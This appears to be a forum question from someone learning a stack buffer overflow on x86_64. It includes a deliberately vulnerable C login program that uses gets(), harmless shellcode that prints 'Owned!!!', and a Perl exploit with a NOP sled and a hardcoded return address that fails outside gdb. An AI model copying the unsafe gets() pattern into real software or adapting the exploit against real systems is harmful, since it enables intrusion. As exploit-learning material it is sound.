I been trying to smash the stack in an x86_64 machine , the payload gets executed when I use a debugger (gdb) and fails with Segmentation fault when I run it normally
Here is the vulnerable program
#include <stdio.h>
char *secret = "Password";
void go_shell()
{
char *shell = "/bin/sh";
char *cmd[] = { "/bin/sh", 0 };
printf("Would you like to play a game...\n");
setreuid(0);
execve(shell,cmd,0);
}
int authorize()
{
char password[64];
printf("Enter Password: ");
gets(password);
if (!strcmp(password,secret))
return 1;
else
return 0;
}
int main()
{
if (authorize())
{
printf("login successful\n");
go_shell();
} else {
printf("Incorrect password\n");
}
return 0;
}
compiled as : gcc simple_login.c -o login -z execstack -fno-stack-protector -g
ASLR turned off
Here is My payload in assembly
section .text
global _start
_start:
xor rax, rax ; syscall
xor rdi, rdi ; arg1
xor rsi, rsi ; arg2
xor rdx, rdx ; arg3
; write(int fd, char *msg, unsigned int len)
nop
mov al, 1
inc di
inc di
;Owned!!! = 4f,77,6e,65,64,21,21,21
;push !,!,!,d
;push e,n,w,O
mov rcx,0x21212164656e774f
push rcx
mov rsi, rsp
mov dl, 8
syscall
; exit(int ret)
;xor rax,rax
mov al, 0x3c
xor rdi, rdi
syscall
#!/usr/bin/perl
print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // extra padding
print "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2";
print "\xb0\x01\x66\xff\xc7\x66\xff\xc7\x48\xb9\x4f\x77";
print "\x6e\x65\x64\x21\x21\x21\x51\x48\x89\xe6\xb2\x08";
print "\x0f\x05\xb0\x3c\x48\x31\xff\x0f\x05";
print "\x42\x42\x42\x42\x42\x42\x42\x42"; // rbp
print "\xd8\xe1\xff\xff\xff\x7f\x00\x00"; //return address
On debugger
While Executing in a debugger it works fine and the message Owned!!! is printed out , but when I run the file normally I get Segmentation Error Any Solution on whats happening here ?